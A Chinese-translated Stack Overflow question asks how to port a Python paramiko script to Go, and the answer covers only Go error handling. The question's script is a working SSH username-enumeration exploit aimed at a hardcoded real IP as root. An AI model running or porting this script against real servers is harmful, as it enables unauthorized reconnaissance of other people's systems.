golang使用ssh连接ssh并打印错误异常

标签 go

我想在golang版本中转换python代码,这是我的python代码:

#!/usr/bin/env python

import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

#logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

sock = socket.socket()
sock.connect(("206.189.86.110", 22))

transport = paramiko.transport.Transport(sock)
transport.start_client()

try:
    transport.auth_publickey("root", paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'

这是我当前的 golang 代码:https://play.golang.org/p/rzZ7f_if7Wk ,我想创建与 python 代码版本相同的异常 except InvalidUsername:paramiko.ssh_exception.AuthenticationException,我该怎么做?

最佳答案

首先,我觉得您采用的方法有点奇怪。 Python 和 Go 是两种截然不同的编程语言,具有不同的编码范例和完全不同的处理错误/异常的方式。因此,从一段 Python 代码开始并将其转换为 Go 可能并不总是那么简单。

由于您的问题最终是关于处理异常的,因此这是一篇关于 Go 如何处理错误的简单文章:https://blog.golang.org/error-handling-and-go (总而言之,函数故意将错误作为值返回,任何调用函数的人都会检查是否已返回错误,然后执行任何它想做的事情,例如 panic 、打印错误或将错误返回上游等)

在您提供的 Go Playground 链接中,可以讨论很多事情——ssh 包的使用、处理或错误等。这是一个专注于异常处理(而不是 ssh 包和逻辑)的快速代码。

注意:这不是如何使用 ssh 包进行身份验证的演示,因此请不要将其用于此类目的。这只是我将如何在逻辑中引入自定义标准化异常/错误的示例。

import (
    "fmt"
    "golang.org/x/crypto/ssh"
)

var ErrInvalidUsername error = fmt.Errorf("Invalid Username")
var ErrAuthenticationFailed error = fmt.Errorf("Authentication Failure")
var ErrPublicKeyNotParsed error = fmt.Errorf("Could not parse the public key")

func AuthenticateExample(username string, publicKey []byte) error {
    // let's assume there is a function isValidUsername that takes a username and returns bool 
    if !isValidUsername(username) { 
        return ErrInvalidUsername
    }

    // do your ssh auth logic here, call ssh package functions which will return an error
    // such as...
    pubKey, err := ssh.ParseKey(publicKey)
    if err != nil {
        return ErrPublicKeyNotParsed 
        // OR you could simple also return the err variable itself by using:
        // return err
    }

    // do more logic, and return ErrAuthenticationFailure is needed
    // ... 

    return nil // since there is no error if we reach this line
}

我希望这有助于稍微解释一下 Go 的异常处理。祝你好运!

关于golang使用ssh连接ssh并打印错误异常,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/52025064/

相关文章:

go - 如何使用 golang 运行 dir 命令?

GO 中的 XML 解码

go - 我的 bcrypt 密码验证总是失败,说 hashedPassword 不是给定 passwordPASS 的散列

go - Go方式实现观察者设计模式

go - Race(?) with Mutex - map 中的数据损坏

go - 不同类型集的集合操作的实现策略

go - 如何设置EXE文件PE头中的 "file version"字段?

go - Go 中的缓冲 channel

在一个包中定义的接口(interface)在不同的包中不起作用

go - dep 和 bazel Go 规则之间有联系吗?